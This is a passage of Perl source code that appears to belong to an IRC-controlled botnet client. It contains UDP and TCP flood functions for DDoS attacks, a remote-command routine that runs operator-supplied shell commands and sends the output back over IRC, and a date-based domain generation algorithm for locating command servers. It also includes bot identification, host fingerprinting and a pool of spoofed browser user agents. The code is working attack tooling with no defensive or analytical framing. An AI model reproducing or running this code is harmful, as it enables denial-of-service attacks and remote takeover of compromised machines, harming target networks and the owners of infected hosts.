  916.         my $duration = $_[3];
  917.    
  918.         alarm (0);                         
  919.        
  920.         print "attackUdpFlood started!\n";     
  921.        
  922.         my ($dtime, %pacotes) = udpflooder("$host", "$port", "$packetSize", "$duration");
  923.         $dtime = 1 if $dtime == 0;
  924.         my %bytes;
  925.         $bytes{igmp} = $packetSize * $pacotes{igmp};
  926.         $bytes{icmp} = $packetSize * $pacotes{icmp};
  927.         $bytes{o} = $packetSize * $pacotes{o};
  928.         $bytes{udp} = $packetSize * $pacotes{udp};
  929.         $bytes{tcp} = $packetSize * $pacotes{tcp};
  930.         print "$target :[UDP-DDos] Results ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1."."; 
  931.         exit;
  932.     }
  933.     else {
  934.         return $child;
  935.     }
  936. }
  937.  
  938. # TCP from IRC (парамерты : хост, порт, длительность)
  939. sub attackTcpFlood {   
  940.     $SIG{CHLD} = \&REAPER;
  941.     $child = fork;
  942.     if ($child == 0){
  943.         my $host = $_[0];
  944.         my $port = $_[1];
  945.         my $duration = $_[2];
  946.    
  947.         print "attackTcpFlood started!\n";     
  948.    
  949.         alarm (0);
  950.         tcpflooder("$host","$port","$duration");
  951.         exit;
  952.     }
  953.     else {
  954.         return $child;
  955.     }
  956. }
  957.  
  958. sub genGarbage {
  959.     my $len = $_[0];
  960.     my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|\=-~`1234567890";
  961.     my $garbage = '';
  962.        
  963.     for my $i (0..$len){
  964.         my $symbol = substr $chars, int rand length($chars), 1;
  965.         $garbage .= $symbol;
  966.     }
  967.     return $garbage;
  968. }
  969.  
  970. sub tcpflooder {
  971.    my $itime = time;
  972.    my ($cur_time);
  973.    my ($ia,$pa,$proto,$j,$l,$t);
  974.    
  975.    $ia=inet_aton($_[0]);
  976.    $pa=sockaddr_in($_[1],$ia);
  977.    $ftime=$_[2];
  978.    $proto=getprotobyname('tcp');
  979.    $j=0;$l=0;
  980.    $cur_time = time - $itime;
  981.    while ($l<1000){
  982.       $cur_time = time - $itime;
  983.       last if $cur_time >= $ftime;
  984.       $t="SOCK$l";
  985.       socket($t,PF_INET,SOCK_STREAM,$proto);
  986.       connect($t,$pa)||$j--;
  987.       $j++;
  988.       $l++;
  989.    }
  990.    $l=0;
  991.    while ($l<1000){
  992.       $cur_time = time - $itime;
  993.       last if $cur_time >= $ftime;
  994.       $t="SOCK$l";
  995.       shutdown($t,2);
  996.       $l++;
  997.    }
  998. }
  999.  
  1000. sub udpflooder {
  1001.    my $iaddr = inet_aton($_[0]);
  1002.    #my $msg = 'A' x $_[1];
  1003.    
  1004.    my $porta = $_[1];
  1005.    my $msg = genGarbage($_[2]);
  1006.    
  1007.    my $ftime = $_[3];
  1008.    my $cp = 0;
  1009.    my (%pacotes);
  1010.    
  1011.    print " udpflooder $_[0] $ftime\n"; 
  1012.    
  1013.    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1014.    #socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1015.    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1016.    #socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1017.    #socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1018.    return(undef) if $cp == 4;
  1019.    my $itime = time;
  1020.    my ($cur_time);
  1021.    while ( 1 ) {       
  1022.       #for (my $porta = 1; $porta <= 65000; $porta++)
  1023.       {
  1024.      
  1025.          $cur_time = time - $itime;
  1026.          last if $cur_time >= $ftime;
  1027.          #send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1028.          send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1029.          #send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1030.          #send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1031.          for (my $pc = 3; $pc <= 255;$pc++) {          
  1032.             next if $pc == 6;
  1033.             $cur_time = time - $itime;
  1034.             last if $cur_time >= $ftime;
  1035.             socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1036.             send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1037.                        
  1038.             #print "send $msg port=$porta\n";  
  1039.             #print ".";
  1040.            
  1041.          }
  1042.       }
  1043.       last if $cur_time >= $ftime;
  1044.    }
  1045.    #print "done on port $porta\n";
  1046.    return($cur_time, %pacotes);
  1047. }
  1048.  
  1049. sub addServer {
  1050.     my $sp = $_[0];
  1051.     if (open(FILE, $serverfile)){
  1052.         my @serverlist = <FILE>;
  1053.         close (FILE);
  1054.         foreach my $i (@serverlist){
  1055.             if ($i =~ /^$sp/){
  1056.                 return;
  1057.             }
  1058.         }  
  1059.     }              
  1060.     if (!open(FILE,">>".$serverfile)){
  1061.         if (!open(FILE,">".$serverfile)){
  1062.             return;
  1063.         }              
  1064.     }
  1065.     print FILE $sp."\n";
  1066.     close(FILE);
  1067. }
  1068.  
  1069. sub delServer {
  1070.     my $servertodel = $_[0];
  1071.     if (!open(FILE, $serverfile)){
  1072.         return;
  1073.     }
  1074.     my @serverlist = <FILE>;
  1075.     my $offset=0;
  1076.     foreach my $i (@serverlist){
  1077.         if ($i =~ /^$servertodel/){
  1078.             splice @serverlist, $offset, 1;
  1079.             $offset --;
  1080.         }
  1081.         $offset ++;
  1082.     }
  1083.     close(FILE);
  1084.     if (open(FILE, ">".$serverfile)){
  1085.         print FILE @serverlist;
  1086.         close(FILE);       
  1087.     }
  1088. }
  1089.  
  1090. #--------------------------------------------------------------------
  1091. sub getCurrentDate {   
  1092.     my $timeServer = "time.appspot.com";
  1093.     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$timeServer, PeerPort=>80);
  1094.     print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$timeServer."\r\nConnection: Close\r\n\r\n";
  1095.     my $utc = '';
  1096.     while(<$socket>){      
  1097.         if ($_ =~ /\<b\>/) { $utc .= $_; }
  1098.         if ($_ =~ /\<\/b\>/) { last; }     
  1099.     }  
  1100.     close $socket; 
  1101.     print $utc;
  1102.     if ($utc =~ /<b>(\d+)-(\d+)-(\d+) (\d+)\:(\d+)\:(\d+)\.(.+)<\/b>/){  #<html><title>The Time</title><body>The time is <b>2011-10-16 08:52:55.107370</b> UTC
  1103.         my ($year, $mon, $mday, $hour,$min, $sec) = ($1,$2,$3,$4,$5,$6);
  1104.         my @result = ($1,$2,$3,$4,$5,$6);
  1105.         return @result;
  1106.     }
  1107.     return undef;
  1108. }
  1109.  
  1110. sub getDomain {
  1111.     my @res = getCurrentDate();
  1112.     if (@res == undef) { return undef; }
  1113.     my ($year, $mon, $day, $hour,$min, $sec) = @res;
  1114.     print "year = $year, mon = $mon, mday = $mday, hour = $hour, min = $min, sec = $sec";
  1115.  
  1116.     my $prefix = $_[0];
  1117.     my $suffix = $_[1];
  1118.     my $chars = "abcdefghijklmnopqrstuvwxyz0123456789";    
  1119.    
  1120.     my $t = 0;
  1121.     my $len = length($chars);
  1122.    
  1123.     print "len = ".$len."\n";
  1124.  
  1125.     my $url = '';
  1126.     $t = ($t + $year) % $len; $url .= substr $chars, $t, 1;
  1127.     $t = ($t + $mon)  % $len; $url .= substr $chars, $t, 1;
  1128.     $t = ($t + $day)  % $len; $url .= substr $chars, $t, 1;
  1129.     $t = ($t + $hour) % $len; $url .= substr $chars, $t, 1;
  1130.     $t = ($t + $year + $mon)  % $len; $url .= substr $chars, $t, 1;
  1131.     $t = ($t + $year + $day)  % $len; $url .= substr $chars, $t, 1;
  1132.     $t = ($t + $year + $hour) % $len; $url .= substr $chars, $t, 1;
  1133.     $t = ($t + $mon + $day)  % $len; $url .= substr $chars, $t, 1;
  1134.     $t = ($t + $mon + $dhour)  % $len; $url .= substr $chars, $t, 1;
  1135.     $t = ($t + $day + $hour) % $len; $url .= substr $chars, $t, 1;
  1136.     #$t = ($t + $day + $sec) % $len; $url .= substr $chars, $t, 1;
  1137.  
  1138.     print "generated ".$prefix.$url.$suffix;
  1139.     return $prefix.$url.$suffix;
  1140. }
  1141. #--------------------------------------------------------------------
  1142.  
  1143. sub process {
  1144.     my $funcarg = $_[0];
  1145.    
  1146.     if ($funcarg =~ /^addserv (.*)/){          
  1147.         addServer($1);
  1148.     }
  1149.     elsif ($funcarg =~ /^delserv (.*)/){
  1150.         delServer($1);
  1151.     }  
  1152.     elsif ($funcarg =~ /^connect\s+(\S+)\s+(\S+)\s+(\S+)/) {
  1153.         { conectar("$2", "$1", "$3")    }
  1154.     }  
  1155. }
  1156.  
  1157. sub shell {
  1158.    my $target=$_[0];
  1159.    my $comando=$_[1];
  1160.    $SIG{CHLD} = \&REAPER;
  1161.    if ($comando =~ /cd (.*)/) {
  1162.       chdir("$1") || msg("$target", "No such file or directory");
  1163.       return;
  1164.    } elsif ($pid = fork) {
  1165.       waitpid($pid, 0);
  1166.    } else {    
  1167.       if (fork) {
  1168.        exit;
  1169.       } else {
  1170.          my @resp=`$comando 2>&1 3>&1`;
  1171.          my $c=0;
  1172.          foreach my $linha (@resp) {
  1173.             $c++;
  1174.             chop $linha;
  1175.             sendraw($IRC_cur_socket, "PRIVMSG $target :$linha");
  1176.            
  1177.          }
  1178.          exit;
  1179.       }
  1180.    }
  1181. }
  1182.  
  1183. sub md5 {
  1184.     my $arg = $_[0];
  1185.     my $uu = "H9T4C\`>_-JXF8NMS^\$\#)4=\@<\,\$18%\"0X4!\`L0%P8*#Q4\`\`04\`\`04#!P\`\`";
  1186.     my @A=unpack (N4C24, unpack (u, $uu));
  1187.     my @K=map{int abs 2**32*sin$_}1..64;
  1188.     my $x; my $n; my $l; my $m; my $p; my $z; my $r;
  1189.    
  1190.     sub L {($x=pop) <<($n=pop)|2**$n-1&$x>>32-$n}
  1191.     sub M {($x=pop)-($m=1+~0)*int$x/$m}
  1192.     my $i=0;  
  1193.     do{
  1194.         my $test = substr $arg, $i, $i+64;
  1195.         my $len = length $test;
  1196.         $i+=64;
  1197.         $r = $len; $l += $len; $_ = $test;
  1198.         $r++, $test.="\x80" if ($r < 64 && !$p++);
  1199.         @W=unpack V16, $test."\0"x7;
  1200.         $W[14] = $l*8 if ($r<57);
  1201.         ($a,$b,$c,$d) = @A;
  1202.         for (0..63){
  1203.             $c = $c & 0xffffffff; $b = $b & 0xffffffff; $d = $d & 0xffffffff;          
  1204. $a = M$b + L$A[4+4*($_>>4)+$_%4], M&{(sub{($b&$c |$d&~$b)& 0xffffffff}, sub{($b&$d|$c&~$d)& 0xffffffff}, sub{($b^$c^$d)& 0xffffffff}, sub{($c^($b|~$d)) & 0xffffffff })[$z=$_/16]}+$W[($A[ 20+$z]+$A[24+$z]*($_%16))%16]+$K[$_]+$a;          
  1205.            
  1206.             ($a,$b,$c,$d)=($d,$a,$b,$c);
  1207.         }      
  1208.         $v = a;      
  1209.         for (@A[0..3]){$_ = M$_+${$v++}}
  1210.     }while ($r>56);
  1211.     my $result = unpack(H32,pack V4,@A);
  1212.     return $result;
  1213. }
  1214.  
  1215.  
  1216. sub getKernel {
  1217.     if ($^O eq "MSWin32"){
  1218.         $kernel = "unknown";
  1219.     }
  1220.     else {
  1221.         $kernel = `uname -snr`;
  1222.         chomp $kernel;
  1223.     }
  1224. }
  1225.  
  1226. sub getBotId { 
  1227.     if (open(FILE, "<".$idfile)){
  1228.         $botid = <FILE>;
  1229.         close(FILE);   
  1230.         print ("FROM file, botid = $botid\n");
  1231.     }
  1232.     else {
  1233.     # ">" - запись,"<"- чтение, ">>"- добавление в файл.
  1234.         if (open(FILE, ">".$idfile)){
  1235.             if ($^O eq "MSWin32"){
  1236.                 print ("id = $botid\n");
  1237.                 $botid = md5(int rand(65535));# "winbotid";
  1238.             } else {
  1239.                 foreach $i (1..16){
  1240.                     my $randhex = `head -c 1 /dev/random`;
  1241.                     my $str = sprintf("%02lx", ord $randhex);
  1242.                     $botid .= $str;
  1243.                 }          
  1244.             }
  1245.             printf FILE $botid;
  1246.             close FILE;
  1247.         }
  1248.         else {
  1249.             print "Error working with ".$idfile."\n";
  1250.             exit;
  1251.         }
  1252.     }
  1253. }
  1254.  
  1255. sub getLocalIp {
  1256.     if ($^O eq "MSWin32"){
  1257.         $localip = "127.0.0.1";
  1258.         return;
  1259.     }
  1260.     #$localip = `ifconfig eth0 | grep 'inet addr:' | cut -d':' -f2 | awk '{ print $1}'`;
  1261.  
  1262.     $ifconfig="/sbin/ifconfig";
  1263.     @lines = qx|$ifconfig| or die("Can't get info from ifconfig: ".$!);
  1264.     foreach(@lines){
  1265.         if (/127.0.0.1/){ next;}
  1266.         if(/inet addr:([\d.]+)/){
  1267.             $localip = $1;
  1268.             last;
  1269.         }
  1270.     }  
  1271. }
  1272.  
  1273. sub getUptime {
  1274.     if ($^O eq "MSWin32"){
  1275.         return "sometime";
  1276.     }
  1277.     $up="uptime";
  1278.     $result = qx|$up| or die("Can't get info from uptime: ".$!);
  1279.     if($result =~ /^(.*) up (.*),\s+(\d+)\s+(.*)/){
  1280.         $up = $2;
  1281.         return $up;
  1282.     }
  1283.     return undef;
  1284. }
  1285.  
  1286. sub getUA {
  1287.     my @uaList = (
  1288.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2",
  1289.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2",
  1290.     "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0",
  1291.     "Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6",
  1292.     "Mozilla/5.0 (Windows NT 5.0; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0",
  1293.     "Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1",
  1294.     "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1295.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0",
  1296.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1297.     "Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0",
  1298.     "Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1299.     "Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0",
  1300.     "Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0",
  1301.     "Mozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1302.     "Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0",
  1303.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre",
  1304.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110323 Firefox/4.2a1pre",
  1305.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110208 Firefox/4.2a1pre",
  1306.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre",
  1307.     "Mozilla/5.0 (Windows NT 5.1; rv:2.0b9pre) Gecko/20110105 Firefox/4.0b9pre",
  1308.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre",
  1309.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre",
  1310.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre",
  1311.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre",
  1312.     "Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre",
  1313.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  1314.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7",
  1315.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7",
  1316.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre",
  1317.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre",
  1318.     "Mozilla/5.0 (Windows NT 5.2; rv:2.0b13pre) Gecko/20110304 Firefox/4.0b13pre",
  1319.     "Mozilla/5.0 (Windows NT 5.1; rv:2.0b13pre) Gecko/20110223 Firefox/4.0b13pre",
  1320.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre",
  1321.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110131 Firefox/4.0b11pre",
  1322.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110129 Firefox/4.0b11pre",
  1323.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre",
  1324.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre",
  1325.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b10pre) Gecko/20110118 Firefox/4.0b10pre",
  1326.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0b10pre) Gecko/20110113 Firefox/4.0b10pre",
  1327.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:2.0b10) Gecko/20110126 Firefox/4.0b10",
  1328.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0b10) Gecko/20110126 Firefox/4.0b10",
  1329.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0.1) Gecko/20110606 Firefox/4.0.1",
  1330.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  1331.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0) Gecko/20110319 Firefox/4.0",
  1332.     "Mozilla/5.0 (Windows NT 6.1; rv:1.9) Gecko/20100101 Firefox/4.0",
  1333.  
  1334.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2",
  1335.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2",
  1336.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2",
  1337.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.860.0 Safari/535.2Chrome/15.0.860.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/15.0.860.0",
  1338.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.10913 Safari/535.1",
  1339.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.0 Safari/535.1",
  1340.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.814.0 Safari/535.1",
  1341.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1",
  1342.     "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1",
  1343.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1",
  1344.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1",
  1345.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1",
  1346.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1",
  1347.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1",
  1348.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.809.0 Safari/535.1",
  1349.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1",
  1350.     "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1",
  1351.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1",
  1352.     "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1",
  1353.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1",
  1354.     "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1",
  1355.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1",
  1356.     "Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1",
  1357.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1",
  1358.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
  1359.     "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1",
  1360.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1",
  1361.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1",
  1362.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1",
  1363.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1",
  1364.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1",
  1365.     "Mozilla/5.0 (Windows NT 6.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.750.0 Safari/534.30",
  1366.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30",
  1367.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.113 Safari/534.30",
  1368.     "Mozilla/5.0 (Windows NT 7.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30",
  1369.     "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30",
  1370.     "Mozilla/5.0 (Windows 8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30",
  1371.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30",
  1372.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30",
  1373.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25",
  1374.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24",
  1375.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24",
  1376.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.700.3 Safari/534.24",
  1377.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24",
  1378.     "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24",
  1379.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24",
  1380.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24",
  1381.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24",
  1382.     "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24",
  1383.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24",
  1384.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24",
  1385.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24",
  1386.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24",
  1387.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21",
  1388.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21",
  1389.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20",
  1390.     "Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20",
  1391.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20",
  1392.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19",
  1393.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18",
  1394.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17",
  1395.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17",
  1396.     "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17",
  1397.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17",
  1398.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17",
  1399.  
  1400.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1401.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1402.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; fr-FR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1403.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
